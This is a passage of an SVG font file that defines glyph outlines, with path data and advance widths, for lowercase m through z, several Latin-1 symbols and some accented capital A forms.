<glyph unicode="m" horiz-adv-x="1748" d="M164 0v1051q23 4 44 6t44 2t42 -2t42 -6q6 -31 12 -81t6 -85q18 37 46 70.5t66 60t87 43t109 16.5q123 0 189.5 -50t100.5 -140q20 35 50 69.5t67 61t84 43t107 16.5q182 0 265 -102.5t83 -302.5v-670q-23 -4 -51.5 -6t-51.5 -2t-50.5 2t-49.5 6v610q0 141 -43 212 t-141 71q-104 0 -169 -76t-65 -223v-594q-23 -4 -50.5 -6t-49.5 -2q-23 0 -50.5 2t-50.5 6v625q0 137 -40.5 205.5t-131.5 68.5q-51 0 -96 -22.5t-78.5 -67.5t-53 -113.5t-19.5 -158.5v-537q-23 -4 -50.5 -6t-50.5 -2t-51.5 2t-50.5 6z" />
<glyph unicode="n" horiz-adv-x="1183" d="M164 0v1051q23 4 44 6t44 2t42 -2t42 -6q6 -31 12 -83.5t6 -86.5q20 35 52 69.5t73 62t94.5 45t116.5 17.5q180 0 266 -103.5t86 -305.5v-666q-23 -4 -51 -6t-51 -2t-50.5 2t-49.5 6v610q0 145 -45 214t-144 69q-57 0 -108 -20.5t-90 -63.5t-62.5 -111.5t-23.5 -165.5 v-532q-23 -4 -50.5 -6t-50.5 -2t-51.5 2t-50.5 6z" />
<glyph unicode="o" horiz-adv-x="1181" d="M100 524q0 117 30 217.5t91.5 174t153.5 116.5t215 43t215 -43t153.5 -116.5t91 -174t29.5 -217.5t-29.5 -217t-91 -174t-153.5 -116t-215 -42t-215 42t-153.5 116t-91.5 174.5t-30 216.5zM315 524q0 -182 67 -284.5t208 -102.5t208.5 102.5t67.5 284.5t-67.5 283.5 t-208.5 101.5t-208 -101t-67 -284z" />
<glyph unicode="p" horiz-adv-x="1208" d="M162 -483v1534q20 4 41.5 6t44.5 2q20 0 42.5 -2t43.5 -6q2 -4 5 -25.5t6 -46.5t6 -47.5t3 -28.5q20 33 49 63.5t69 55.5t90 39t112 14q92 0 171 -30.5t135 -95t88 -164t32 -234.5q0 -270 -146.5 -423t-414.5 -153q-45 0 -92.5 6.5t-81.5 16.5v-481q-25 -4 -52.5 -6.5 t-50.5 -2.5t-50.5 2.5t-49.5 6.5zM365 172q39 -14 79.5 -20.5t106.5 -6.5q74 0 135.5 24t105.5 73t69.5 123.5t25.5 177.5q0 164 -60.5 260t-197.5 96q-51 0 -98.5 -18.5t-84 -55.5t-59 -93t-22.5 -134v-426z" />
<glyph unicode="q" horiz-adv-x="1198" d="M106 498q0 127 40 233.5t114 183t179.5 118.5t236.5 42q115 0 196.5 -12t163.5 -35v-1511q-23 -4 -50.5 -6.5t-49.5 -2.5q-23 0 -50.5 2.5t-49.5 6.5v483q-43 -10 -91.5 -16.5t-107.5 -6.5q-106 0 -202.5 26t-169 87.5t-116 160.5t-43.5 247zM317 489q0 -92 25 -157.5 t69 -107.5t103 -60.5t131 -18.5q53 0 101.5 8.5t89.5 18.5v717q-29 6 -48.5 9t-37 4l-35 2t-39.5 1q-90 0 -157.5 -30.5t-112 -86t-67 -131t-22.5 -168.5z" />
<glyph unicode="r" horiz-adv-x="761" d="M164 0v1051q23 4 43 6t43 2t45 -2t41 -6q6 -31 12 -81t6 -85q43 70 114 121t181 51q16 0 33.5 -1t30.5 -3q4 -18 6 -39t2 -43q0 -25 -3 -51.5t-7 -51.5q-16 4 -34 4h-28q-55 0 -105 -15t-90 -54t-63.5 -106.5t-23.5 -174.5v-522q-23 -4 -50.5 -6t-50.5 -2t-50.5 2 t-51.5 6z" />
<glyph unicode="s" horiz-adv-x="931" d="M98 25q4 41 17.5 82.5t29.5 82.5q55 -23 122 -36t132 -13q47 0 90 10.5t75 31t51.5 50t19.5 66.5q0 41 -15.5 67.5t-41 45t-59.5 32t-73 25.5l-71 27q-131 49 -190.5 110.5t-59.5 165.5q0 139 99.5 221t291.5 82q80 0 157 -15.5t134 -35.5q-4 -41 -15.5 -82t-27.5 -76 q-45 16 -107.5 31.5t-134.5 15.5q-76 0 -134 -26.5t-58 -93.5q0 -35 14 -59.5t39 -42t56.5 -30t68.5 -24.5l90 -31q49 -16 93 -38.5t76 -56.5t51.5 -82t19.5 -116q0 -76 -31 -138t-87 -106t-136 -69t-176 -25q-98 0 -172 13.5t-138 36.5z" />
<glyph unicode="t" horiz-adv-x="733" d="M35 918l352 393h16v-260h267q8 -35 8 -78q0 -23 -2 -43.5t-6 -40.5h-267v-479q0 -86 7.5 -137.5t25 -79t47 -37t74.5 -9.5q35 0 65.5 5.5t55.5 11.5q14 -41 17 -84t3 -76q-41 -10 -86 -15t-96 -5q-147 0 -230 71.5t-83 237.5v596h-160z" />
<glyph unicode="u" horiz-adv-x="1175" d="M152 467v584q23 4 51 6t49 2q23 0 51.5 -2t50.5 -6v-576q0 -98 18.5 -162.5t55.5 -101.5t90 -51.5t123 -14.5q104 0 178 23v883q23 4 50.5 6t50.5 2t50 -2t50 -6v-1018q-72 -20 -171 -39t-206 -19q-100 0 -189 17.5t-157 71t-106.5 149.5t-38.5 254z" />
<glyph unicode="v" horiz-adv-x="1087" d="M35 1051q29 4 59.5 6t55.5 2q27 0 58.5 -2t53.5 -6l287 -867l289 867q23 4 51.5 6t54.5 2q23 0 51.5 -2t57.5 -6l-410 -1051q-27 -4 -53.5 -6t-48.5 -2q-23 0 -48.5 2t-50.5 6z" />
<glyph unicode="w" horiz-adv-x="1587" d="M45 1051q29 4 57.5 6t51.5 2q29 0 58.5 -2t51.5 -6l205 -858l231 858q23 4 49.5 6t55.5 2q33 -2 56.5 -3t45.5 -5l230 -844l204 844q23 4 45.5 6t49.5 2q23 0 50 -2t56 -6l-313 -1051q-27 -4 -54.5 -6t-50.5 -2t-49 2t-53 6l-225 795l-236 -795q-29 -4 -56.5 -6t-49.5 -2 q-23 0 -50.5 2t-50.5 6z" />
<glyph unicode="x" horiz-adv-x="1042" d="M37 0l285 545l-248 506q47 8 106 8q29 0 56.5 -2t58.5 -6l217 -508l-262 -543q-27 -4 -52.5 -6t-50.5 -2q-29 0 -55 2t-55 6zM528 543l220 508q29 4 57.5 6t56.5 2q55 0 103 -8l-244 -500l285 -551q-29 -4 -55.5 -6t-55.5 -2q-55 0 -102 8z" />
<glyph unicode="y" horiz-adv-x="1083" d="M27 1051q27 4 55.5 5t52.5 1q27 0 59.5 -1t55.5 -5l291 -977l301 977q43 6 100 6q23 0 51.5 -1t57.5 -5l-408 -1264q-29 -84 -59.5 -141.5t-69.5 -92t-87 -49t-112 -14.5q-47 0 -93 7t-81 18q0 47 8.5 83.5t24.5 73.5q18 -6 50 -13t69 -7q27 0 50.5 5t44 20.5t37.5 44 t34 77.5l63 199q-16 0 -33.5 -1t-33.5 -1q-20 0 -43 1t-37 3z" />
<glyph unicode="z" horiz-adv-x="976" d="M59 29l553 860h-487q-6 37 -6 82q0 43 6 80h788l11 -27l-557 -862h522q6 -41 6 -84q0 -41 -6 -78h-819z" />
<glyph unicode="{" horiz-adv-x="847" d="M102 600v27q55 29 95.5 60.5t65 72.5t35.5 93t11 122q0 145 9.5 255.5t49.5 185.5t119.5 113t219.5 38h28q4 -20 6 -40t2 -42q0 -23 -2 -42.5t-6 -37.5q-78 0 -123 -16.5t-68.5 -54.5t-30.5 -97t-7 -145v-13q0 -113 -8.5 -190.5t-28.5 -129.5t-54 -86t-83 -59 q49 -27 83 -60.5t54 -85.5t28.5 -130t8.5 -191v-14q0 -84 7 -143.5t30.5 -96t68.5 -54t123 -17.5q4 -18 6 -38t2 -42q0 -20 -2 -40.5t-6 -41.5q-123 0 -203.5 24.5t-130 76t-70 131t-20.5 188.5q0 119 -4 200.5t-24.5 140t-62.5 99.5t-118 80z" />
<glyph unicode="|" horiz-adv-x="681" d="M242 -344v1933q23 4 48 6t52 2q25 0 50.5 -2t47.5 -6v-1933q-23 -4 -47 -6t-51 -2t-52.5 2t-47.5 6z" />
<glyph unicode="}" horiz-adv-x="847" d="M102 -258q0 23 2 42t7 38q76 0 122 17.5t69.5 54t30.5 96t7 143.5v14q0 113 8 191t28.5 130t54.5 86t83 60q-49 25 -83 59t-54.5 86t-28.5 130t-8 190v13q0 86 -7 145t-30.5 97t-70 54.5t-121.5 16.5q-4 18 -6.5 37.5t-2.5 42.5t2 42t7 40h28q139 0 219 -38t120 -113 t49.5 -185.5t9.5 -255.5q0 -70 11 -122t35.5 -93t64.5 -73t95 -60v-27q-76 -39 -117.5 -80t-62 -99.5t-24.5 -140t-4 -200.5q0 -109 -20.5 -188.5t-70 -131t-130.5 -76t-203 -24.5q-4 20 -6.5 40.5t-2.5 41.5z" />
<glyph unicode="~" horiz-adv-x="976" d="M39 838q41 49 114.5 84.5t155.5 35.5q47 0 92 -13t91.5 -28.5t92.5 -27.5t93 -12q41 0 83 14t93 61q33 -31 52.5 -66.5t33.5 -74.5q-47 -47 -110.5 -76.5t-149.5 -29.5q-47 0 -93 12t-92 27.5t-92.5 28.5t-89.5 13q-49 0 -93 -16t-93 -63q-65 57 -88 131z" />
<glyph unicode="&#xa1;" horiz-adv-x="593" d="M174 938q0 29 2 58.5t6 58.5q29 4 56.5 6t56.5 2t58.5 -2t58.5 -6q4 -29 6 -57.5t2 -57.5t-2 -57.5t-6 -57.5q-29 -4 -57.5 -6t-57.5 -2t-57.5 2t-57.5 6q-4 29 -6 56.5t-2 56.5zM184 -418l13 1030q25 4 49 6.5t47 2.5q25 0 49.5 -2.5t46.5 -6.5l14 -1030q-29 -4 -54 -6 t-52 -2q-29 0 -56.5 2t-56.5 6z" />
<glyph unicode="&#xa2;" d="M229 524q0 106 28 200.5t82 166.5t136 119t191 59v234q37 10 69 10q33 0 74 -10v-232q59 -4 110.5 -14t98.5 -27q0 -41 -10.5 -84t-24.5 -76q-51 16 -106.5 25.5t-120.5 9.5q-160 0 -240 -103.5t-80 -277.5q0 -199 90 -290t244 -91q61 0 112.5 8.5t106.5 28.5 q16 -29 28.5 -71.5t14.5 -88.5q-53 -16 -107.5 -27t-115.5 -16v-219q-33 -8 -72 -8q-18 0 -36.5 2t-34.5 6v224q-217 23 -327 166t-110 376z" />
<glyph unicode="&#xa3;" d="M184 705q0 39 6 79h146q-10 59 -19.5 120t-9.5 124q0 88 27.5 169t84 142.5t143.5 98.5t208 37q109 0 181.5 -16.5t125.5 -39.5q-4 -41 -14 -82t-33 -88q-57 25 -114.5 37t-133.5 12q-72 0 -122 -22.5t-80.5 -61t-45 -91t-14.5 -109.5q0 -63 9.5 -118.5t21.5 -111.5h383 q6 -41 6 -84q0 -39 -6 -75h-354q8 -37 13 -75t5 -77q0 -86 -18.5 -160.5t-57.5 -128.5h557q4 -23 5 -47t1 -45q0 -49 -6 -92h-868l-8 25l39 36q39 37 67.5 86.5t46 102.5t25.5 103t8 91q0 45 -5 89.5t-15 91.5h-179q-6 37 -6 80z" />
<glyph unicode="&#xa4;" d="M88 315l156 156q-35 51 -53.5 112.5t-18.5 129.5q0 70 20.5 131t57.5 114l-162 164q23 45 53.5 74t71.5 47l162 -164q51 35 111.5 53.5t127.5 18.5q68 0 128.5 -18.5t113.5 -53.5l164 164q37 -23 68.5 -52.5t52.5 -66.5l-162 -161q39 -53 60.5 -117t21.5 -133 q0 -70 -21.5 -131.5t-56.5 -114.5l156 -156q-45 -78 -117 -121l-162 160q-109 -74 -246 -74q-139 0 -247 74l-158 -157q-45 20 -74 51.5t-47 70.5zM354 713q0 -57 19.5 -106.5t54.5 -86.5t83 -58.5t103 -21.5q57 0 105.5 21.5t83.5 58.5t55.5 86t20.5 107q0 57 -20.5 106 t-55.5 86t-83 58.5t-106 21.5q-55 0 -103 -21.5t-83 -58.5t-54.5 -86t-19.5 -106z" />
<glyph unicode="&#xa5;" d="M55 1448q27 4 58.5 6t60.5 2t59.5 -2t55.5 -6l336 -619l329 619q27 4 54.5 6t56.5 2t57.5 -2t53.5 -6l-371 -664h311q6 -29 6 -65q0 -45 -6 -76h-393v-180h393q6 -29 6 -66q0 -45 -6 -75h-393v-322q-25 -4 -51.5 -6t-53.5 -2t-53 2t-51 6v322h-377q-8 25 -8 69 q0 18 2 36.5t6 35.5h377v180h-377q-8 25 -8 70q0 18 2 36.5t6 34.5h295z" />
<glyph unicode="&#xa6;" horiz-adv-x="681" d="M242 338q23 4 48 6t52 2q25 0 50.5 -2t47.5 -6v-682q-23 -4 -47 -6t-51 -2t-52.5 2t-47.5 6v682zM242 907v682q23 4 48 6t52 2q25 0 50.5 -2t47.5 -6v-682q-41 -8 -98 -8q-27 0 -52.5 2t-47.5 6z" />
<glyph unicode="&#xa7;" horiz-adv-x="1150" d="M135 739q0 68 34 131.5t83 116.5q-31 31 -49.5 75t-18.5 101q0 70 32 127.5t88 97t136 61t178 21.5q102 0 177 -15t151 -40q0 -41 -14 -82t-35 -78q-53 23 -115.5 39.5t-144.5 16.5q-119 0 -183.5 -34t-64.5 -103q0 -66 43 -91.5t115 -48.5l254 -78q213 -66 213 -241 q0 -80 -34 -143.5t-83 -118.5q33 -31 51.5 -73t18.5 -101q0 -72 -35 -128.5t-98.5 -96.5t-152.5 -60.5t-198 -20.5q-96 0 -182 14.5t-160 41.5q14 90 52 159q55 -23 126.5 -40t153.5 -17q137 0 213 37t76 106q0 59 -48 87t-120 51q-137 43 -226 76.5t-140.5 68.5t-72 78 t-20.5 104zM322 766q0 -51 32.5 -83t102.5 -54l237 -76q10 -4 23.5 -8t32.5 -10q23 20 49 59t26 92q0 43 -29.5 75t-95.5 52l-145 45q-45 14 -87 24.5t-73 26.5q-25 -23 -49 -59.5t-24 -83.5z" />
<glyph unicode="&#xa8;" horiz-adv-x="1024" d="M190 1339q0 25 2.5 50.5t6.5 52.5q25 4 52.5 6t51.5 2q23 0 50.5 -2t54.5 -6q8 -47 8 -103q0 -25 -2 -50t-6 -52q-53 -6 -105 -6q-23 0 -51 1t-53 5q-4 27 -6.5 51.5t-2.5 50.5zM608 1339q0 25 2 50.5t6 52.5q25 4 52.5 6t50.5 2q25 0 52.5 -2t53.5 -6q6 -53 6 -103 q0 -51 -6 -102q-53 -6 -104 -6q-23 0 -51.5 1t-53.5 5q-8 47 -8 102z" />
<glyph unicode="&#xa9;" horiz-adv-x="1732" d="M106 735q0 162 55.5 302.5t155 241.5t239.5 159.5t310 58.5t310.5 -57.5t240 -159.5t154.5 -241.5t55 -303.5t-55 -303t-154.5 -240.5t-240 -160t-310.5 -58.5t-310 58.5t-239.5 160t-155 240.5t-55.5 303zM256 735q0 -131 42 -245.5t121 -199.5t191.5 -134.5 t255.5 -49.5t256 49.5t192 134.5t121 199.5t42 245.5t-42 246t-121 200t-191.5 134t-256.5 49q-143 0 -255.5 -49t-191.5 -134t-121 -200t-42 -246zM498 733q0 92 27.5 172t77.5 138.5t123 92t165 33.5q74 0 118 -8t93 -24q-2 -37 -9.5 -73t-23.5 -69q-45 14 -81 19.5 t-81 5.5q-117 0 -177 -77t-60 -210q0 -137 64.5 -207.5t176.5 -70.5q43 0 82 7t80 25q16 -29 26.5 -62.5t16.5 -74.5q-96 -43 -221 -43q-94 0 -168 32t-125 89t-77.5 135t-26.5 170z" />
<glyph unicode="&#xaa;" horiz-adv-x="1024" d="M127 872q0 72 29.5 124.5t79 86t115 50t138.5 16.5q41 0 76 -2t64 -6v26q0 90 -49.5 124t-145.5 34q-53 0 -104 -8t-99 -23q-16 29 -25 66t-9 72q55 16 124.5 26t135.5 10q168 0 255 -73.5t87 -233.5v-512q-57 -14 -143.5 -27.5t-172.5 -13.5q-174 0 -265 61.5t-91 202.5 zM291 874q0 -43 19.5 -68.5t48 -38.5t63.5 -17.5t65 -4.5q76 0 142 13v250q-23 4 -55.5 6t-61.5 2q-104 0 -162.5 -35t-58.5 -107z" />
<glyph unicode="&#xab;" horiz-adv-x="1265" d="M100 547l340 452q25 4 50.5 6.5t52.5 2.5q29 0 57.5 -2t56.5 -7l-333 -450l333 -457q-29 -4 -56.5 -6t-55.5 -2q-57 0 -105 8zM616 547l340 452q25 4 50.5 6.5t52.5 2.5q29 0 57.5 -2t56.5 -7l-333 -450l333 -457q-29 -4 -56.5 -6t-55.5 -2q-57 0 -105 8z" />
<glyph unicode="&#xac;" d="M178 694q0 23 2 49.5t6 47.5h854v-572q-18 -4 -43.5 -6t-48.5 -2t-49.5 2t-46.5 6v383h-666q-4 18 -6 44t-2 48z" />
<glyph unicode="&#xad;" horiz-adv-x="739" d="M96 573q0 23 2 48.5t6 46.5h531q4 -20 6 -46t2 -49t-2 -48t-6 -44h-531q-4 18 -6 44t-2 48z" />
<glyph unicode="&#xae;" horiz-adv-x="1732" d="M104 735q0 162 55.5 302.5t155 241.5t239.5 159.5t310 58.5t310.5 -57.5t239.5 -159.5t154.5 -241.5t55.5 -303.5t-55.5 -303t-154.5 -240.5t-239.5 -160t-310.5 -58.5t-310 58.5t-239.5 160t-155 240.5t-55.5 303zM256 735q0 -133 42 -247.5t120 -198.5t191.5 -133.5 t254.5 -49.5q143 0 256 49.5t192 133.5t121 198.5t42 247.5q0 131 -42 246t-121 199t-191.5 133t-256.5 49q-141 0 -254.5 -49t-191.5 -133t-120 -199t-42 -246zM612 354v789q53 6 103.5 10t109.5 4q74 0 135.5 -14.5t105.5 -43t69.5 -75.5t25.5 -111q0 -92 -45 -148 t-98 -83l215 -326q-29 -4 -52.5 -5t-45.5 -1q-43 0 -80 6l-234 365l41 18q49 23 93 61t44 97t-43 92t-112 33q-16 0 -34.5 -1t-41.5 -5v-662q-31 -6 -76 -6q-43 0 -80 6z" />
<glyph unicode="&#xaf;" horiz-adv-x="1024" d="M227 1346q0 16 2 37.5t7 37.5h552q4 -16 6.5 -36.5t2.5 -38.5t-2 -39t-7 -37h-552q-4 16 -6.5 36.5t-2.5 39.5z" />
<glyph unicode="&#xb0;" horiz-adv-x="757" d="M82 1188q0 63 23.5 117.5t64.5 94.5t95 63.5t116 23.5q61 0 116.5 -23.5t96.5 -63.5t64.5 -94.5t23.5 -117.5q0 -61 -23.5 -115.5t-64.5 -94.5t-96.5 -63.5t-116.5 -23.5t-115.5 23.5t-95.5 63.5t-64.5 94.5t-23.5 115.5zM229 1188q0 -70 43 -115t109 -45t111 45t45 115 t-45.5 116t-110.5 46q-66 0 -109 -46t-43 -116z" />
<glyph unicode="&#xb1;" d="M174 94q0 23 1 48.5t5 45.5h869q4 -20 6 -46t2 -48q0 -23 -2 -48.5t-6 -43.5h-869q-4 18 -5 43.5t-1 48.5zM176 721q0 49 8 90h340v373q23 4 44.5 6t45.5 2q23 0 45.5 -2t47.5 -6v-373h337q4 -23 6.5 -45.5t2.5 -44.5q0 -23 -2 -46.5t-7 -45.5h-337v-371q-25 -4 -47.5 -6 t-45.5 -2q-51 0 -90 8v371h-340q-8 41 -8 92z" />
<glyph unicode="&#xb2;" horiz-adv-x="921" d="M135 651q66 70 139.5 144.5t135 145.5t101.5 134.5t40 114.5q0 66 -49 89.5t-121 23.5q-61 0 -100 -10.5t-74 -24.5q-10 27 -21.5 64.5t-17.5 80.5q63 23 118.5 34t123.5 11q145 0 233 -65.5t88 -188.5q0 -92 -47 -175t-139 -175l-80 -80h313q2 -16 3 -34.5t1 -39.5 q0 -20 -1 -38.5t-3 -34.5h-633z" />
<glyph unicode="&#xb3;" horiz-adv-x="921" d="M160 637q4 37 15 74t26 65q53 -16 100 -25.5t94 -9.5q84 0 144.5 36t60.5 114q0 66 -53 96.5t-121 30.5q-20 0 -38.5 -1t-41.5 -7l-22 24l178 273h-287q-6 37 -6 69q0 35 6 72h524l17 -31l-201 -291q55 -6 97 -29.5t70 -55t42 -70.5t14 -76q0 -70 -28.5 -124t-78.5 -92 t-120 -57.5t-150 -19.5q-37 0 -66.5 2t-57 6t-55 10.5t-62.5 16.5z" />
<glyph unicode="&#xb4;" horiz-adv-x="1024" d="M266 1217l236 260q31 4 63.5 6t67.5 2q37 0 67.5 -2t59.5 -6l-291 -260q-23 -4 -49.5 -6.5t-59.5 -2.5q-23 0 -46 2t-48 7z" />
<glyph unicode="&#xb5;" horiz-adv-x="1234" d="M164 -483v1534q23 4 50.5 6t49.5 2q23 0 50.5 -2t50.5 -6v-549q0 -180 60 -267.5t191 -87.5q51 0 98.5 17.5t84.5 52.5t58.5 90t21.5 133v611q23 4 50 6t50 2t50.5 -2t49.5 -6v-1051q-16 -4 -35.5 -6t-39.5 -2t-42 2t-42 6q-6 25 -14.5 63.5t-12.5 67.5 q-49 -68 -122 -112t-187 -44q-139 0 -222 93v-551q-23 -4 -50 -6.5t-50 -2.5t-49.5 2.5t-48.5 6.5z" />
<glyph unicode="&#xb6;" horiz-adv-x="1169" d="M102 1040q0 121 37 206t115 138.5t197.5 77t283.5 23.5v-1497q-102 0 -151 12v641h-25q-96 0 -179 22.5t-144.5 71.5t-97.5 125t-36 180zM891 -12v1497q102 0 151 -12v-1473q-49 -12 -151 -12z" />
<glyph unicode="&#xb7;" horiz-adv-x="493" d="M127 563q0 29 2 56.5t6 56.5q29 4 55.5 6t55.5 2t56.5 -2t55.5 -6q4 -29 6.5 -55.5t2.5 -55.5t-2.5 -56.5t-6.5 -55.5q-29 -4 -55.5 -6.5t-54.5 -2.5q-29 0 -56.5 2.5t-56.5 6.5q-4 29 -6 55.5t-2 54.5z" />
<glyph unicode="&#xb8;" horiz-adv-x="1024" d="M289 -471q2 29 7 61.5t21 57.5q61 -20 127 -21q66 0 104 19.5t38 62.5q0 41 -37 56.5t-96 15.5q-29 0 -58.5 -4t-56.5 -10l-12 10l100 272h131l-68 -168q20 4 48 4q98 0 151 -49t53 -127q0 -100 -80.5 -151.5t-216.5 -51.5q-29 0 -71.5 3.5t-83.5 19.5z" />
<glyph unicode="&#xb9;" horiz-adv-x="921" d="M162 1294l395 162h35v-684h190q8 -35 9 -72q0 -39 -9 -73h-559q-6 18 -8 34.5t-2 38.5q0 18 2 36t8 36h197v469l-191 -78q-27 27 -42 59.5t-25 71.5z" />
<glyph unicode="&#xba;" horiz-adv-x="1024" d="M133 1040q0 88 23.5 166t71.5 137.5t119 94.5t165 35t166 -35t119 -94.5t70.5 -137.5t23.5 -166t-23.5 -166.5t-70.5 -139t-119 -95.5t-166 -35t-165 35t-119 95.5t-71.5 139t-23.5 166.5zM313 1040q0 -133 49.5 -209.5t149.5 -76.5q102 0 150.5 76.5t48.5 209.5 t-48.5 209t-150.5 76q-100 0 -149.5 -75.5t-49.5 -209.5z" />
<glyph unicode="&#xbb;" horiz-adv-x="1263" d="M88 92l336 451l-336 456q29 4 56.5 6.5t56.5 2.5q27 0 53.5 -2t50.5 -7l342 -454l-342 -453q-25 -4 -49.5 -7t-52.5 -3q-29 0 -57.5 3t-57.5 7zM602 92l336 451l-336 456q29 4 56.5 6.5t56.5 2.5q27 0 53.5 -2t50.5 -7l342 -454l-342 -453q-25 -4 -49.5 -7t-52.5 -3 q-29 0 -57.5 3t-57.5 7z" />
<glyph unicode="&#xbc;" horiz-adv-x="2150" d="M133 1294l395 162h35v-684h190q8 -35 9 -72q0 -39 -9 -73h-559q-6 18 -8 34.5t-2 38.5q0 18 2 36t8 36h197v469l-191 -78q-27 27 -42 59.5t-25 71.5zM516 2l989 1448q25 4 50.5 6t50.5 2q27 0 54.5 -2t51.5 -6l-989 -1448q-29 -4 -53.5 -6t-48.5 -2q-57 0 -105 8z M1284 186l336 666q82 -10 150 -50l-244 -497h201v162q37 6 79 6q41 0 82 -6v-162h99q4 -16 6 -34.5t2 -41.5q0 -45 -8 -70h-99v-157q-41 -6 -77 -6q-45 0 -84 6v157h-426z" />
<glyph unicode="&#xbd;" horiz-adv-x="2150" d="M127 1294l395 162h35v-684h190q8 -35 9 -72q0 -39 -9 -73h-559q-6 18 -8 34.5t-2 38.5q0 18 2 36t8 36h197v469l-191 -78q-27 27 -42 59.5t-25 71.5zM481 2l989 1448q25 4 50.5 6t50.5 2q27 0 54.5 -2t51.5 -6l-989 -1448q-29 -4 -53.5 -6t-48.5 -2q-57 0 -105 8z M1352 26q66 70 139.5 144.5t135 145.5t101.5 134.5t40 114.5q0 66 -49 89.5t-121 23.5q-61 0 -100 -10.5t-74 -24.5q-10 27 -21.5 64.5t-17.5 80.5q63 23 118.5 34t123.5 11q145 0 233 -65.5t88 -188.5q0 -92 -47 -175t-139 -175l-80 -80h313q2 -16 3 -34.5t1 -39.5 q0 -20 -1 -38.5t-3 -34.5h-633z" />
<glyph unicode="&#xbe;" horiz-adv-x="2150" d="M174 637q4 37 15 74t26 65q53 -16 100 -25.5t94 -9.5q84 0 144.5 36t60.5 114q0 66 -53 96.5t-121 30.5q-20 0 -38.5 -1t-41.5 -7l-22 24l178 273h-287q-6 37 -6 69q0 35 6 72h524l17 -31l-201 -291q55 -6 97 -29.5t70 -55t42 -70.5t14 -76q0 -70 -28.5 -124t-78.5 -92 t-120 -57.5t-150 -19.5q-37 0 -66.5 2t-57 6t-55 10.5t-62.5 16.5zM528 2l989 1448q25 4 50.5 6t50.5 2q27 0 54.5 -2t51.5 -6l-989 -1448q-29 -4 -53.5 -6t-48.5 -2q-57 0 -105 8zM1302 203l336 666q82 -10 150 -50l-244 -497h201v162q37 6 79 6q41 0 82 -6v-162h99 q4 -16 6 -34.5t2 -41.5q0 -45 -8 -70h-99v-157q-41 -6 -77 -6q-45 0 -84 6v157h-426z" />
<glyph unicode="&#xbf;" horiz-adv-x="999" d="M125 -20q0 104 42 178.5t98.5 125t115.5 80t96 42.5v210q47 8 101 9q23 0 47 -2t47 -7v-331q-78 -20 -139.5 -46t-104.5 -62t-65.5 -84t-22.5 -111q0 -104 78 -164t223 -60q92 0 148.5 13.5t115.5 35.5q18 -39 31.5 -80.5t19.5 -88.5q-49 -16 -91 -27.5t-82 -18 t-80.5 -9.5t-88.5 -3q-242 0 -365.5 109.5t-123.5 290.5zM453 938q0 29 2 57.5t6 57.5q27 4 55.5 6t56.5 2q29 0 61.5 -2t55.5 -6q4 -29 6 -56.5t2 -56.5t-2 -57.5t-6 -57.5q-29 -4 -57.5 -7t-57.5 -3t-57.5 3t-56.5 7q-4 29 -6 56.5t-2 56.5z" />
<glyph unicode="&#xc0;" horiz-adv-x="1263" d="M33 0l479 1473q27 4 57.5 6t63.5 2q29 0 59.5 -2t59.5 -6l477 -1473q-25 -4 -55.5 -6t-59.5 -2q-27 0 -54.5 2t-51.5 6l-103 340h-559l-100 -340q-27 -4 -53.5 -6t-53.5 -2q-29 0 -56.5 2t-49.5 6zM274 1817q29 4 64.5 7t72.5 3t75 -3t71 -7l215 -222q-47 -8 -105 -8 q-29 0 -57.5 2t-54.5 6zM401 522h449l-225 752z" />
<glyph unicode="&#xc1;" horiz-adv-x="1263" d="M33 0l479 1473q27 4 57.5 6t63.5 2q29 0 59.5 -2t59.5 -6l477 -1473q-25 -4 -55.5 -6t-59.5 -2q-27 0 -54.5 2t-51.5 6l-103 340h-559l-100 -340q-27 -4 -53.5 -6t-53.5 -2q-29 0 -56.5 2t-49.5 6zM401 522h449l-225 752zM461 1595l217 222q33 4 70 7t74 3q39 0 73.5 -3 t63.5 -7l-279 -222q-27 -4 -55.5 -6t-56.5 -2q-29 0 -53.5 2t-53.5 6z" />
<glyph unicode="&#xc2;" horiz-adv-x="1263" d="M33 0l479 1473q27 4 57.5 6t63.5 2q29 0 59.5 -2t59.5 -6l477 -1473q-25 -4 -55.5 -6t-59.5 -2q-27 0 -54.5 2t-51.5 6l-103 340h-559l-100 -340q-27 -4 -53.5 -6t-53.5 -2q-29 0 -56.5 2t-49.5 6zM269 1595l241 222q23 4 53.5 6t65.5 2t64.5 -2t56.5 -6l235 -222 q-18 -4 -40.5 -6t-43.5 -2h-45q-23 0 -50.5 2t-43.5 6l-133 125l-133 -125q-18 -4 -47 -6t-49 -2h-48q-20 0 -41.5 2t-41.5 6zM401 522h449l-225 752z" />
<glyph unicode="&#xc3;" horiz-adv-x="1263" d="M33 0l479 1473q27 4 57.5 6t63.5 2q29 0 59.5 -2t59.5 -6l477 -1473q-25 -4 -55.5 -6t-59.5 -2q-27 0 -54.5 2t-51.5 6l-103 340h-559l-100 -340q-27 -4 -53.5 -6t-53.5 -2q-29 0 -56.5 2t-49.5 6zM262 1759q33 37 86.5 71t120.5 34q43 0 86 -16.5t84 -35t81 -35 t81 -16.5q39 0 68.5 15.5t70.5 54.5q47 -57 68 -121q-35 -35 -87.5 -66.5t-117.5 -31.5q-45 0 -88 15t-84 34.5t-81 35t-79 15.5q-43 0 -72.5 -17.5t-68.5 -52.5q-23 29 -41.5 56.5t-26.5 60.5zM401 522h449l-225 752z" />
<glyph unicode="&#xc4;" horiz-adv-x="1263" d="M33 0l479 1473q27 4 57.5 6t63.5 2q29 0 59.5 -2t59.5 -6l477 -1473q-25 -4 -55.5 -6t-59.5 -2q-27 0 -54.5 2t-51.5 6l-103 340h-559l-100 -340q-27 -4 -53.5 -6t-53.5 -2q-29 0 -56.5 2t-49.5 6zM295 1718q0 51 6 105q29 4 55.5 6t51.5 2q27 0 55.5 -2t52.5 -6 q8 -47 9 -103q0 -57 -9 -104q-25 -4 -52.5 -6t-53.5 -2q-25 0 -52.5 2t-56.5 6q-6 51 -6 102zM401 522h449l-225 752zM731 1718q0 47 11 105q25 4 52.5 6t53.5 2q25 0 52.5 -2t56.5 -6q6 -53 6 -103q0 -53 -6 -104q-29 -4 -55.5 -6t-53.5 -2q-25 0 -53 2t-53 6 q-4 27 -7.5 51.5t-3.5 50.5z" />
